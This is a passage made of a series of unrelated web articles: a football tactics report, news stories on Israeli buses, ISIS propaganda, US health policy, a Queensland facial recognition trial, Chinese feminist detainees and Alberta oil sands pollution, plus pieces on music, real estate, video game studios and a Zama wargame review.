doing a battering ram act that eventually got them the goal.  PSV then recovered after half time and started pressing more, and it’s tempting to conclude that the concession of a goal, and the return to a deadlock in the game, suited their natural game more – in particular, their midfield. They were much more positive and worked good situations down their left. This was the period when van der Wiel was exposed – he made a crazy tackle on Mertens to concede the penalty for the second goal, then got caught too high up the pitch for a chance Mertens wasted when one-on-one.  Late on  Van der Wiel partly atoned for his poor defensive performance with a good run down the right for the equaliser. By this stage, Frank de Boer had introduced the physical threat of Dmitri Bulykin for Sigþórsson, and this prompted more direct balls into the box – Bulykin tucked home Sigþórsson’s ball.  The final stages were exciting but not frantic – both teams tired, and though the midfields basically gave up defending, there was a feeling that both managers were content with a point.  Conclusion  There is an interesting pattern to many Eredivisie games in terms of tactics – they’re rarely won by a change of formation, but the game goes through many separate phases – often revolving around whether the sides are pressing. This was the case here – especially in the first half, when both teams were on top when they pressed.  Ultimately, this was a battle between two teams who aren’t built to play against each other – they’re built to convincingly beat more lowly sides. Both wanted to dominate possession, to play the ball gently through midfield and to construct clever attacks, when a bit of organisation wouldn’t have gone amiss. Still, it was a good game, and the nature of the final scoreline – PSV making the running, Ajax just about catching up – summed up the game well.  Related articles on Zonal Marking:
-An Israeli bus driver refused to take Palestinian passengers on board, was ordered to do so by police, and took his revenge by forcing them off the bus at the entrance to a settlement. The bus company: “The driver acted exactly as expected of him.”  Tel Aviv Central Bus Station, Thursday, two weeks ago: a bus driver on the 286 line that goes to the settlement of Ariel refused to allow a group of Palestinian workers on board who wanted to get back home to the West Bank. After a short argument the driver called the police, asking for the Palestinians to be escorted away from the door of the bus. A policewoman who arrived shortly after talked to the would-be passengers, and then told the driver the Palestinians all had valid permits to be in Israel, all went through security checks at the entrance to the station, and that he therefore must allow them on the bus.  “The driver told her she was wrong and took her name and badge number so that all guilt would be on her head, and also said that he would drop them off half way, but the policewoman insisted,” says Neria Mark, a passenger who witnessed the scene. “Eventually he let them on, and even took some more Palestinian passengers outside the station so the bus became quite packed. The great heat and the Ramadan fast made many of them fall asleep, and so we drove on.”  However, when the bus reached the industrial zone outside the settlement of Barkan the driver called the guard at the gate, and had him order all the Palestinians to get off the bus. Two people who were accidently missed were ordered off by another guard at a later point along the route. “They all went down without a fight, some protesting verbally against the treatment and reminding both the driver and the guard that they’re fasting. All this time one of the passengers was encouraging the driver to do this ‘cleansing’, and once the deed was done the driver told him: ‘That’s the only way they’re going to learn. Anyone who boarded the bus today won’t dare to do it again.'”  According to Mark, from that point on the driver didn’t make the stops where Palestinians were waiting along the road. In a letter she later sent the Ministry of Transportation, Mark wrote that “the driver’s behavior was racist and in violation of the policewoman’s orders. He humiliated people just in order to teach them a lesson.”  In the bus company where the driver works, however, nobody seems to see anything wrong with this story. “The driver acted exactly as expected of him,” says Ben-Hur Akhvat, CEO of Afikim. “The official policy is simple: anyone who can pay the fare can go on the bus. This means we have no choice but to also take Palestinians on board in Israel and drive them to Judea and Samaria, even though it always causes problems with the Israeli passengers, and both sides start verbal and physical slights with the other.”  According to Akhvat, any driver in the company has the mandate to decide that Palestinians look suspicious and call the police, but has to obey the police as the driver in this case did. “Inside Judea and Samaria the case is different, as Palestinians are not allowed inside the Israeli settlements without a permit by local security and an armed guard even if they do have an entrance permit to Israel, so the driver did the right thing in forcing them off. Every now and then Palestinians fall asleep on the bus and get unnoticed, and when they wake up at the last stop inside Ariel we have to call the police to show them the way out.”  Akhvat also wishes to remind us that army orders forbid Palestinians from entering or leaving Israeli borders through the same checkpoints as Israelis. “These people are supposed to go only through the Eyal checkpoint. On their way in they don’t have a choice, but on their way back they make it easier on themselves by taking our buses through the Cross-Samaria Checkpoint which is only meant for Israelis. Unfortunately we are not authorized to enforce the law they are violating.” Akhvat also mentions that the company regularly receives complaints from Jewish passengers who don’t wish to see Palestinians on the bus. “We are in ongoing negotiations with authorities regarding a possible alternative solution to the problem,” he says.  > To read more on the Eyal checkpoint and The Wall click here  Mark is unsurprised by this. “After I got to Ariel, all stunned, I was picked up by Palestinian friends from Nablus and told them the story. They all just nodded, and treated it as the most natural thing in the world. They think it’s normal, but I think there’s nothing normal about this reality.”  Police: Palestinians allowed on buses. Settlement: True, but not inside settlements  The IDF Spokesperson response is that the issue does not fall under military jurisdiction. An army source adds that there is no regulation forbidding Palestinians from riding on Israeli buses. The Tel Aviv Police says that the policewoman acted appropriately and that there is no regulation that forbids drivers from taking Palestinians on board. The Ministry of Transportation corroborated this.  “IDF regulations forbid Palestinians from entering industrial zones and settlements unless they have a specific working permit for that place,” says the spokesperson for the Samaria Regional Council. “This is why guards are placed at the entrances, to keep people out, including passengers on public transportation. A permit to enter Tel Aviv does not allow a person to enter Barkan. The Barkan industrial zone has some 3,000 Palestinians working there, entering it daily with the required security permit.”  It’s interesting to see how everybody’s right in this story. The official state bodies – ministry, police and army – all stick to the dry question of whether or not Palestinians are allowed on the bus in Tel Aviv. The answer here is indeed yes. But the people who have to live daily with the reality of occupation – Palestinians and the settlers (including the bus company, which has its headquarters in Ariel) – expose the deeper layers of Apartheid: the separate checkpoints for different people, the racial profiling security system, the permit regime, and the route of the bus which is planned only for Israelis.  —-  This story was originally published in Hebrew in Zman Tel Aviv and NRG, and is based on Neria Mark’s report in MySay.
-As a strength & conditioning coach, I've received some of the best continuing education by playing around in areas that I don't belong in. Courses geared more towards physical therapists like DNS, the SFMA, and Sahrmann's courses on Movement System Impairment Syndromes have profoundly impacted how I look at coaching and movement.  Joe Heiler has spent the last several years interviewing these folks and making these conversations available on his site www.sportsrehabexpert.com.  This time, we turn the tables on Joe and learn how and why he started Sports Rehab Expert, how he accumulated such an all-star line-up of interview guests, and how he integrates all of the different approaches discussed on his site into his own practice – Elite Physical Therapy located in Traverse City Michigan.  I had a great time with this conversation, since I'm a continuing education junky and I'm always curious how people decide which pieces of knowledge to pursue, which pieces to integrate, and which to discard.  Joe has spent countless hours supplementing his own knowledge with these expert conversations while still practicing himself as a physical therapist and integrating all of these pieces into his own work with patients.  This process is applicable not just to physical therapy, but to anything where there's a blend between tacit and explicit knowledge required to execute at a high level.  Listen Here  Learn More About Joe, Sports Rehab Expert & Elite Physical Therapy  Here's a great interview that Joe Heiler did with Gray Cook on how Gray practices in his own facility:  Show Notes  [0:39] Introduction of Joe Heiler  [4:02] How do you prioritize what information you want to consume?  [9:10] How do you decide when you can use a certain protocol to fit your model?  [10:59] What is your process for getting what you want from a client?  [15:05] What are you thoughts on figuring out different types of mobility issues?  [17:55] How to get people to adopt new movement strategies at high intensity or max loads?  [24:51] How do you get buy-in when someone pushes back?  [27:28] What does a typical week look like for Joe Heiler?  [31:24] Using the SFMA in practice.  [34:41] What led to the start of sportsrehabexpert.com?  [37:16] How did the interviews start?  [40:26] What are some of the under appreciated interviews on the site?  [45:04] What business lessons have you learned between the site and the PT practice?  [47:30] How do you educate people on the value of a PT professional?  [52:25] Where can people find out more about the site and Joe?  You May Also Like These Posts
-A slick promotional video has been released showing Islamic State of Iraq and Al-Sham recruits at a so-called desert “graduation ceremony.”  The three-minute film, called “Blood of Jihad,” shows the terror group’s latest members doing kung-fu style martial arts routines and learning how to strip down Kalashnikov machineguns.  Apparently shot in Nineveh province, northern Iraq, it features about 100 young men being trained in the ways of insurgent warfare.  It is the latest promotional video produced by ISIS, which has been at pains to burnish its global image in the minds of disenchanted Muslims.  Last week another jihadi film was released, produced in a training camp in Kirkuk.  The group has even published an online propaganda magazine called “Dabiq” – named after a key site in Muslim apocalypse theology where the “final hour” of humanity will occur.  This is from an ISIS training video. Just don’t ask me what they hell they’re training for. pic.twitter.com/ssUwns21Rt —  Stewart Bell (@StewartBellNP) October 12, 2014  “Every Muslim should get out of his house, find a crusader, and kill him.” New #ISIS mag calls for attacks in West. http://t.co/K2yx6Nu9hu —  Stewart Bell (@StewartBellNP) October 12, 2014  Introducing the latest ISIS video, an on-screen narrator wearing a baseball cap explains that “the first group of volunteers for jihad in the path of Allah has graduated.”  Standing in front of a young boy holding the group’s notorious black flag, the narrator explains that there are three stages of the training process.  The first of these, he says, is “physical fitness and strength.”  The camera then cuts to a long line of recruits standing in the sand in front of two military-style tents.  In a bizarre ritual, a man wearing a khaki T-shirt proceeds to make his way down the line and high-kick each recruit in the chest.  He finishes by striking his knee into the body of the final student.  The segment finishes with the recruits shouting “Allahu akbar,” or God is great, and “Islamic State is here to stay”.  In the following clip, which focuses on “weapons training,” the group of balaclava-wearing recruits are shown sitting cross-legged on the floor of a large room.  A man at the front of the room, also wearing a balaclava, shows them how to strip down and then reassemble a Kalashnikov, though, in a detail which suggests ISIS’ tutors still have some work to do, the clip has been speeded up to make the drill appear more impressive.  The film finishes with a sermon from a portly, bespectacled sheikh, who promises the recruits they will leave Iraq’s battlefields as “martyrs.”
-As mentioned, the ever-influential Kinsella family are reviving their Owls project for a new album this year, their first since their 2001 debut. Owls, whose lineup includes Tim Kinsella, Mike Kinsella, Victor Villarreal, and Sam Zurick (all of whom were in Cap’n Jazz), have now revealed more details on that album: it’s called Two and will be out on March 25 via Polyvinyl (pre-order). They’ve also revealed its first single, “I’m Surprised…,” which you can stream, along with the artwork and tracklist, below.  No dates at the moment, but hopefully that will change soon. Stream below…  —  Owls – “I’m Surprised…”  Tracklist:  1. Four Works Of Art…  2. I’m Surprised…  3. The Lion…  4. Why Oh Why…  5. This Must Be How…  6. Ancient Stars Seed…  7. It Collects Itself…  8. I’ll Never Be…  9. Oh No, Don’t…  10. A Drop Of Blood…  —
-Several details regarding a potential tower at 55 Broad Street were discussed by Lois Weiss at the New York Post last month, and now YIMBY has the first vague renderings of the tower, courtesy of an anonymous tipper. Rudin Management is developing the site, and FX Fowle is the architect of record.  The site is located in the heart of the Financial District, and has development rights of 388,000 square feet; the massing diagram depicts a 53-story tower that would stand nearly 750 feet, which would make it one of the tallest skyscrapers in Lower Manhattan. The William Beaver House — which stands 527 feet — is rendered adjacent to 55 Broad Street in the massing study.  While 55 Broad Street could rise over 50 stories as-is, the lot has additional potential, thanks to the failure of the initial plans for the Nobu Tower, at 45 Broad Street. The two sites could potentially be combined, and the resulting tower’s air rights would total approximately 650,000 square feet, and an assemblage of that size could rise significantly taller than the current plans.  The ‘supertall’ milestone has proven daunting for residential developers in Lower Manhattan, though several buildings will approach the mark; 30 Park Place, 22 Thames, 56 Leonard, and 101 Murray Street are all slated to stand between 800 and 1,000 feet tall. If the Rudins manage to acquire 45 Broad, 55 Broad Street could approach supertall status.  No completion date for the site has been announced, and given the existing 35-story office building must be demolished before work proceeds, construction is a long ways off; still, the potential is there, and demolition of the current 55 Broad Street appears to be imminent.  Subscribe to the YIMBY email newsletter and receive the latest new development news in your inbox.  Follow the YIMBYgram for real-time photo updates  Follow YIMBY’s Twitter for the latest in YIMBYnews  For any questions, comments, or feedback, email [email protected]
-Frank Rich  The New York Times  April 4, 2008  Bored by those endless replays of the Rev. Jeremiah Wright? If so, go directly to YouTube, search for “John Hagee Roman Church Hitler,” and be recharged by a fresh jolt of clerical jive. (See video at left.)  What you’ll find is a white televangelist, the Rev. John Hagee, lecturing in front of an enormous diorama. Wielding a pointer, he pokes at the image of a woman with Pamela Anderson-sized breasts, her hand raising a golden chalice. The woman is “the Great Whore,” Mr. Hagee explains, and she is drinking “the blood of the Jewish people.” That’s because the Great Whore represents “the Roman Church,” which, in his view, has thirsted for Jewish blood throughout history, from the Crusades to the Holocaust.  Mr. Hagee is not a fringe kook but the pastor of a Texas megachurch. On Feb. 27, he stood with John McCain and endorsed him over the religious conservatives’ favorite, Mike Huckabee, who was then still in the race.  Are we really to believe that neither Mr. McCain nor his camp knew anything then about Mr. Hagee’s views? This particular YouTube video — far from the only one — was posted on Jan. 1, nearly two months before the Hagee-McCain press conference. Mr. Hagee appears on multiple religious networks, including twice daily on the largest, Trinity Broadcasting, which reaches 75 million homes. Any 12-year-old with a laptop could have vetted this preacher in 30 seconds, tops.  Since then, Mr. McCain has been shocked to learn that his clerical ally has made many other outrageous statements. Mr. Hagee, it’s true, did not blame the American government for concocting AIDS. But he did say that God created Hurricane Katrina to punish New Orleans for its sins, particularly a scheduled “homosexual parade there on the Monday that Katrina came.”  Read entire article
-Democrats fear that GOP demands for concessions on a bill meant to stabilize insurance markets could lead to the end of key protections for consumers under ObamaCare.  Republicans say that in exchange for funding for insurers that would help prevent an ObamaCare premium spike, Democrats should agree to expanding waivers that could allow states to opt out of certain requirements under ObamaCare.  This could include allowing insurers to not cover services like mental health as part of an insurance plan or rolling back government subsidies that help people afford coverage.  ADVERTISEMENT  “We’re not going to change the waiver system to have a backdoor approach to undo protections of health-care reform,” Sen. Patty Murray Patricia (Patty) Lynn MurrayThis week: Congress, Trump set for showdown on emergency declaration Senate reignites blue slip war over Trump court picks Johnson & Johnson subpoenaed by DOJ and SEC, company says MORE (Wash.), the top Democrat on the Senate Health Committee, told reporters Tuesday.  Sen. Lamar Alexander Andrew (Lamar) Lamar AlexanderPence meeting with Senate GOP ahead of vote to block emergency declaration Addressing repair backlog at national parks can give Congress a big win The Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump MORE (R-Tenn.), chairman of the Health Committee, says this is all part of the negotiations.  He says Democrats have to give up something in exchange for GOP concessions on funding to insurers, particularly given Republican control of the government.  “To get a Republican president and a Republican House and a Republican Senate just to vote for more money won't happen in the next two or three weeks unless there's some restructuring [of regulations],” Alexander said.  The stakes are high and the two sides have little time.  Lawmakers hope to reach a deal by the end of next week, so they can pass a bill by the end of the month.  The centerpiece of the bill would be funding for key ObamaCare subsidy payments known as cost-sharing reductions.  President Trump has threatened to cut off these payments, which have been made by both his administration and former President Barack Obama Barack Hussein ObamaWith low birth rate, America needs future migrants 4 ways Hillary looms over the 2020 race Obama goes viral after sporting black bomber jacket with '44' on sleeve at basketball game MORE’s. Conservatives decry them as a bailout to insurers, and there’s no guarantee Republicans will back a bill making the fix no matter what else is in it.  Senate Finance Committee Chairman Orrin Hatch Orrin Grant HatchThe FDA crackdown on dietary supplements is inadequate Orrin Hatch Foundation seeking million in taxpayer money to fund new center in his honor Mitch McConnell has shown the nation his version of power grab MORE warned in a Washington Post op-ed on Friday against a “bailout” from the subsidy payments and said a bill would need to include “relief for American families and job creators from the onerous mandates and taxes.”  Alexander’s argument is that expanding existing waivers to ObamaCare provisions will provide an incentive for Republicans to back the bill.  “This is a compromise we ought to be able to accept,” Alexander said.  But Sen. Chris Murphy Christopher (Chris) Scott MurphyPush to end U.S. support for Saudi war hits Senate setback Feehery: Defining what socialism is (and isn’t) Avoiding the tragedy of Brexit MORE (D-Conn.) said he’s worried about how far the GOP might go in allowing states to make changes.  “The problem is you're trading really short-term relief on the [cost-sharing reductions] for potentially long-term evisceration of the regulatory guardrails,” Murphy told The Hill. “I don't know how much we should be willing to give for one year of certainty on [payments].”  This isn’t the only potential stumbling block either.  Democrats also want multiple years of payments to insurers, while Alexander and Republicans are so far only agreeing to one year.  Democrats want to protect what are known as the “guardrails,” which prevent any changes under the waivers from leading to reductions in the number of people with coverage, or less affordable or comprehensive coverage.  Republicans argue that those guardrails inhibit states from innovative solutions.  Another hurdle is that the early deal to fund the government and raise the debt ceiling takes away legislation moving through Congress that a health care deal could have been attached to.  Still, a Senate Democratic aide argued there would be more opportunities for the health-care bill to be attached to something, including possibly reauthorization of the Federal Aviation Administration or another hurricane relief bill.  Despite all these obstacles, there are lawmakers from both parties who still express hope that a deal could be reached.  “I think there's a deal; I really do,” said Murphy.
-James Brightman Editor, North America Tuesday 13th June 2017 Share this article Share  According to the latest issue of Weekly Famitsu, as translated by Gematsu, Japanese studio Level-5 (Ni no Kuni, Yo-Kai Watch) has acquired Comcept, the Keiji Inafune-led studio behind Mighty No.9 and that more recently teamed up with Armature on Xbox exclusive ReCore. Comcept has now become a subsidiary known as Level-5 Comcept but Inafune and Level-5 president and CEO Akihiro Hino both see it more as a merger where the philosophies of both companies have come together.  Inafune praised Level-5, noting: "I had the feeling that I wanted to be like Hino since around the time I was at Capcom." Both companies have wanted to do something together since working on Guild 02. Level-5 Comcept is based in Osaka, Japan and is currently staffed with 15 people, but the studio is recruiting to bring in new talent apart from the veteran Comcept team.  The translation notes that the studio wants to "make games that show they're in the league with Inafune." The first title will be an iOS and Android game called Dragon Colonies, which is due out in Japan in 2018. The game features magic beings and creatures in addition to humans and players are tasked with building up the strongest "Halocolony."  Infanue did confirm that while the plan is to shutter the old Comcept, he won't abandon any of the current projects in development.
-Facial recognition software trials in Queensland alarm privacy advocates  Updated  A facial recognition technology trial is underway in Queensland, alarming privacy advocates who fear such developments could lead to bigger databanks of stored personal information.  Key points: Similar software in use by NT Police, expected to be rolled out in airports  Toowoomba Council says it has not talked about using the software on streets  Expert concerned about personal information data being stored  The Toowoomba Regional Council has begun trialling the software called iOmniscient on behalf of the Brisbane, Gold Coast and other councils.  iOmniscient works by analysing images recorded by existing CCTV cameras.  A rollout of similar software has been supported by the Federal Government for passport processing in Australia, and the Northern Territory police are already using something similar.  Monique Mann, a law lecturer at the Queensland University of Technology and member of the Australian Privacy Foundation, said the Toowoomba Council's decision was alarming.  She said that facial technology introduction at a federal level was being established in a way that would not require "expanded police powers for the introduction of specific budget legislation".  "What we see here is that these developments are really being introduced to administrative processes outside of a legislative framework and the increased scrutiny that it entails," Dr Mann said.  Dr Mann said she was "particularly concerned" from a privacy perspective, because the facial recognition technology could be used from a distance.  "It can be integrated with existing surveillance systems as we're seeing with CCTV-enabled tracking through public places," she said.  "And it can also be integrated with other big data that's used for law enforcement and security purposes — so for example images that can be taken from social media websites."  Despite the Federal Government's enthusiasm over the use of the new technologies, Dr Mann said that the recent Census and Centrelink robo-debt data sagas highlighted widespread privacy concerns in the community.  Trial is to 'improve service delivery'  Toowoomba Paul Antonio said the software was not an invasion of privacy.  "It is attached to a data system that will tell us the number of people coming and going to the library, and the number of times they have actually come and gone in a given day," he said.  "What it actually does is it analyses the existing CCTV footage that we've had here in this region for quite some time."  Mr Antonio said its trial use in the library was about "improving service delivery".  "This is an experiment that will last for one month," he said.  "When the technology is proven, what it's used for in the future is up to anyone who wants to use it."  Mr Antonio said the Toowoomba Council had not discussed whether they would use the facial recognition software for safety on the streets.  But it is believed that the council could be the first to use such technology.  This comes after Queensland's Moreton Bay Regional Council was recently criticised when it announced it had deployed about 330 new surveillance devices in public spaces.  Topics: police, law-crime-and-justice, science-and-technology, computers-and-technology, toowoomba-4350, qld, australia  First posted
-During the 2004 federal-election campaign, I interviewed a brainy economic consultant named Kwangyul Peck, who was running for the Liberals in Port Moody-Westwood-Port Coquitlam.  Peck suggested that if Stephen Harper became prime minister, some residents of the riding would lose their homes.  It was an astonishing claim--and it was ridiculed by his Conservative opponent, James Moore, now the Minister of Canadian Heritage.  Today, the Harper government will include a $34-billion deficit in its budget.  Some right-of-centre governments--notably the George W. Bush and Ronald Reagan administrations, as well as the Brian Mulroney regime--have demonstrated a knack for running up huge deficits, forcing future politicians to take draconian actions to address the imbalance.  These right wingers bled the beast--which is how they see government--so there was nothing left for their successors to work with.  It appears as though Stephen Harper is no different---though, to be fair, he is being egged on to go into deficit spending by the federal Liberals, NDP, and Bloc Quebecois.  On budget day, I felt it was worth reviewing Peck's key points during the 2004 campaign:  * Harper's proposed tax cuts at that time would sharply reduce government revenues. (After becoming prime minister in 2006, Harper cost the treasury billions by shaving two points off the Goods and Services Tax. Expect more tax cuts in today's budget.)  * Peck predicted that Harper would jack up military spending and increase health spending.  * As a result, Peck claimed, the economy would have to grow by 38 percent per year to keep the country out of deficit after the expenditure increases and tax cuts. Peck said that this was not likely to occur. That meant deficit financing: the government would have to borrow to pay for its operations.  * "The minute Harper gets into power and starts borrowing money, the interest rate will go up," Peck predicted. "The minute people in New York realize what Harper's up to, they start dumping Canadian dollars."  * Peck forecast that the Bank of Canada would have to defend the Canadian dollar by increasing interest rates. This is exactly precisely what happened during the Mulroney years, which hammered real-estate markets when homeowners were faced with higher monthly mortgage payments.  * Peck suggested that interest rates could double or triple thanks to Harper's fiscal policies, causing people in Port Moody-Westwood-Port Coquitlam to lose their homes.  Four years later, the stakes are very high with this budget. Some economists, such as Princeton's Paul Krugman, have argued that massive stimulus packages are necessary to prevent a depression.  Others have expressed fears that governments around the world will dump taxpayers' money into dying industries, offering few long-term benefits.  We saw that in B.C. in the late 1990s when Glen Clark's NDP government poured hundreds of millions of dollars into Skeena Cellulose, which operated a pulp mill in Prince Rupert.  Can Harper be trusted to do the right thing for the country or will he choose the politically expedient thing when he brings in his deficit?  To date, he hasn't demonstrated a great appetite for the types of expenditures that stimulate employment and boost productivity, such as daycare and postsecondary education. So far, we haven't seen any indication that he's ready to move in any new direction in these areas.
-Image caption Li Tingting, Wang Man, Wei Tingting, Wu Rongrong and Zheng Churan have been in custody for almost a month  They are a group of feminists who are dedicated to campaigning against sexual abuse and domestic violence.  They frequently carried out guerrilla-style protests to raise awareness about their cause.  For one protest they wore wedding dresses splattered in red paint to symbolise the plight of abused women.  In another they called on the government to provide more female public toilets.  They thought they knew how to avoid problems with the authorities.  To mark International Women's Day on 8 March they planned to hand out leaflets and put stickers on public buses and subways to raise awareness about sexual harassment.  But before the protest even took place about 10 activists were rounded up by the police.  Image copyright CFP Image caption Li Tingting, pictured in the middle at a protest against domestic violence, is among the women detained  Image copyright CFP Image caption Wang Man, third from left, protesting in front of a court trying a domestic violence case. The sign reads: "Zero tolerance for domestic violence"  Almost a month later, five of the women - Li Tingting, Wang Man, Wei Tingting, Wu Rongrong and Zheng Churan - remain in custody.  They face public disorder charges - a catch-all law that is often used by the authorities to silence dissidents.  Now there is growing concern for the health of two of the women - Wang Man and Wu Rongrong.  They both suffer from serious illnesses - a heart condition and chronic liver disease - and have been moved to a hospital detention centre. Their lawyers say their conditions have worsened during their time in detention.  At a Beijing cafe, I met one of the activists who was detained before the planned protest but later released. She asked us not to reveal her identity, fearing government reprisals.  "I was very scared when I was first detained but now I feel I did something meaningful," she told me.  "But I'm very worried about what will happen to the others. If they're sentenced to time in jail it will be a heavy blow to our movement."  When I asked her if she would protest again, she replied: "At the moment I wouldn't do anything as extreme as protesting on the streets. We may have to change our strategy. But the movement will continue."  Image copyright AP Image caption Wei Tingting, pictured right, demonstrating outside a court  Despite growing international criticism, China is refusing to release the activists.  Speaking last week, Hua Chunying, a spokeswoman for China's foreign ministry, said: "No one has the right to ask China to release relevant persons, so we hope that relevant people will stop interfering in China's judicial sovereignty in such a manner."  But this case is part of what has been described by human rights groups as China's harshest crackdown in recent memory.  'Terrifying time'  Since coming to power two years ago, President Xi Jinping's government has locked up journalists, lawyers, NGO workers and activists of all stripes.  He has warned against what he sees as western ideas infiltrating China and threatening the ruling Communist Party's grip on power.  One of the lawyers for the women, Liang Xiaojun, says now is a terrifying time for civil society.  "Lawyers and human rights activists are living in terror," he said. "We don't know when we'll be arrested."  "Even a women's rights group which poses no threat to the political regime is being targeted. It just shows how the police are abusing their powers."  According to Chinese law, the women need to either be released or formally charged by the middle of this month.  The police may let them go with a warning ringing in their ears that they will not be so lucky next time.  But if they are charged with disturbing the social order they face up to five years in prison.  Whatever the outcome, this case has sent a chill through activists in China.
-An in situ mining site in Long Lake, Alberta. Image: Flickr/jasonwoodhead23  Canada's oil sands are notoriously dirty, but in situ extraction—which involves blasting high-pressure steam into the ground to warm and soften bitumen, and then pumping it up to the surface—has been pitched as their environmentally friendlier future.  In the wake of a new report suggesting that the long-term effects of this extraction method could be damaging, the Alberta government has committed to stepping up its environmental monitoring of in situ oilsands, according to the Canadian Press. This technique is being relied upon more and more, and its consequences are not well understood.  In situ mining sites don't create the same massive (and highly visible) ecological disruption as open-pit mining, so they're often touted as being better for the environment than the alternative. In situ mining produced just over half of all the bitumen recovered in Alberta in 2014, and the Alberta Energy Regulator expects the method to account for 60 percent of bitumen production by 2024.  In fact, eighty percent of the estimated bitumen reserves in Canada's oil-producing province of Alberta are only reachable with in situ methods.  "If [contaminants] do increase high enough, they can be toxic to wildlife"  In the new study, Canadian scientists looked at pollution levels in a body of water located two kilometres away from the Primrose in situ mining site, which is near Cold Lake, Alberta. They found that increased use of the technique lined up with a major uptick in potentially harmful metals and other contaminants in the lake sediment.  "What we see is that after 1980, when that site became operational, we have an increase in contaminants," said York University's Jennifer Korosi, lead author of the paper. That increase "accelerates after the site was expanded about a decade ago," she added.  When she heard about the government's new commitment to monitor in situ sites more closely, she was "glad to hear it," Korosi said.  According to the study, a version of which was published last week in Environmental Pollution, pollutants have increased by 140 percent in the sampled area since in situ operations began. That's not enough to have a toxic effect, Korosi said, but a greater reliance on in situ mining in the oil sands could push contaminant levels over the top.  Read more: Look out Alberta Tar Sands, Canada Has a New Oil Field  "If [contaminants] do increase high enough, they can be toxic to wildlife," Korosi said. "If they get into the groundwater and it's used for drinking, that could also be a problem."  In situ mining in Canada has come under increased scrutiny in recent years, partly because of an incident in 2013 at the same Primrose site that resulted in an uncontrolled flow of bitumen to the surface. The water near the leak was drained and the sediment collected, and a subsequent investigation concluded that too much steam was the problem.  Still, the method's potentially damaging effects remain vastly understudied, Korosi said, because most scientific efforts so far have focused on open-pit mines.  The researchers conclude that if in situ mining is really the future of the Albertan oil sands, then its effects need to become a research priority, alongside better monitoring.  "We've reached a point where production massively outpaces our scientific knowledge of the environmental impacts," Korosi said.
-From  Ah, a folio game. I think the first time I purchased and played one was in the mid 1970s. These are usually about one battle, with a small number of counters and a short rule book. That is not to say that the folio games are simple or beer and pretzel games. The folio games are simplified compared to larger board games. The small map and easy to understand rules means that players need not take up too much space for too long.  The battle of Zama was fought in October of 202 B.C. It would mark the end of the Second Punic War between Rome and Carthage. Hannibal versus Scipio: what else could a wargamer envision? This is one of the few times that military masters have met on the field of battle. The Second Punic War happened because of Hannibal's trek first through northern Spain and then France to invade Italy in 218 B.C. The actual battle of Zama occurred because of Scipio's invasion of the Carthaginian homeland, now in modern Tunisia. One of the reasons that the Carthaginians had run rings around the Romans for most of the war was their use of their allies' (the Numidians) light cavalry. Numidia was one of the few places that the Romans never actually conquered outright. It was to prove a thorn in their side a hundred years later. Scipio was able to get the use of the Numidians at this time under their King Masinissa. The Numidians had switched sides in the war because of Scipio's invasion. After Scipio's invasion of their homeland, Hannibal was recalled from Italy. The stage was set for either Scipio, and his veterans from his conquest of Spain, or Hannibal who had never been defeated in the field to win this final battle of the Second Punic War.  The game is normal for a folio or magazine wargame. The map is 17"X22", and there are only 100 counters. The rule book starts with the standard rules for the series and then gives you the separate rules for the Zama game itself. The hex scale is 150 yards. The documentation lists playing time as one to two hours. The complexity is listed as low, and the suitability for solitary play is listed as high. I can attest that it is easy to play the game by oneself. Of course almost all board wargames can be played solitaire, although with some you have to fiddle with the rules or actions more than others.  The counters are also standard fare for these types of games. They seem a bit thinner than I remember, but perfectly useful for their purpose. You will need to cut your small cardboard armies out, and if you are so inclined cut away some of the extra cardboard from some corners. I never felt the need in any game I own, but I know a lot of people also clip the counter corners. To each their own. The graphics on the counters are also fine, but not striking. You can easily see the numbers and read anything written on them without a problem. The Romans and allies have a red background, and the various Carthaginian forces have a purple one. The one point on the counters that is purely subjective is the strength and quality of each unit. The Leader units add a 'strength additive' number to any unit they are with in a hex. In this game Hannibal is given a '3' and Scipio is given a '2'. There are many, although I am not among them, who believe that Scipio was the greatest Roman general ever. I do not have a problem having Hannibal have a higher combat rating than Scipio. This shows the versatility of board games. If you choose you can change the numbers to what you believe is correct. You could even make your own counters and substitute them for what you, or whoever you game with, feel should be more 'correct' numbers. While some computer games have editors that can help with these changes, most don't and you are stuck with developers' ratings on units and leaders.  Game setup  The game piece setup in this game is again standard for ancient warfare games. Most battles were fought on flat ground, so many times terrain wasn't an issue at all. With Zama, the entire battlefield is made up of 'clear' hexes. The map is marked with where you are supposed to put your counters for each side. There are rules for variable deployment so you can try out different strategies once you get the game rules down pat. Another few rules are in place to make the Carthaginian player follow Hannibal's game plan. One of these is to force your elephants to move, on turn one, into a Roman piece's 'zone of control', or adjacent to a Roman piece. Any elephant counter that does not do this is considered to have run amok and is eliminated. The other rules make it so the different commands of Hannibal's army are released to attack the Romans at different times. So the second and third line of Hannibal's troops can only move once a Roman piece moves to 'X' hex line. Hannibal's plan was to try and tire the Romans out by attacking them in waves. These rules are put in place to show how the actual battle was fought, but again once you are comfortable with the game it is flexible enough for you to use free movement for all of the Carthaginian troops. The Romans have no movement restrictions placed on their troops. There is also another ancient wargame standard, 'the berserk elephant rule'. Elephants were notorious for being both battle winners and losers. If the elephant unit receives a retreat or a hit (1/2) on the combat results table it becomes berserk and immediately charges off in any of six directions, decided by a die throw, and attacks whatever is in its way, friend or foe.  Carthaginian first turn elephant attack  The command and control rules are meant to simulate the problems of commanding an ancient army in battle. The troops are split into sub-commands for this rule and each sub-command must make a one die roll throw for each movement phase. If they are successful with the die roll, that sub-command can move that turn. There are four sub-commands for the Romans, and five for the Carthaginians. For example, the Roman citizen legions have to roll from a one to a five to be able to move that turn; if they roll a six they are unable to move. This also puts the element of surprise into the game. There is nothing worse that coming up with a great battle plan and then realize you cannot follow it because your troops are not in control this turn. The game uses another old friend to compute losers and winners in attacks: the 'combat result table'. By simply adding up the attackers points and the defenders, while adding or subtracting for leaders etc., you divide the numbers and come up with a number for the odds of the combat. If you have 8 attacking points and 4 defending, the odds would be 2-1. You check the 'combat results table' on the equivalent column and then roll one die. The one to six result is then taken on the counters. I know most of us are old hats at this, but we need new blood in the hobby. We as grogs are getting older by the day. These folio games are perfect in their complexity, price, and size to attract new players to our hobby. We don't want them running away by pulling out an old 'Europa' game first off.  The game play is quick and tight, and the rules are not going to have you scratching your head. For us old players it is a trip down memory lane with a well conceived old friend. For anyone that is looking to get their feet wet into board wargames it is also highly recommended. There are many eras and wars that fall through the cracks of computer wargaming, so it is lucky for us that there are still companies like Decision Games making board ones. if you missed it, board wargaming has been having a resurgence lately, and that is also good news.  There is one point about the 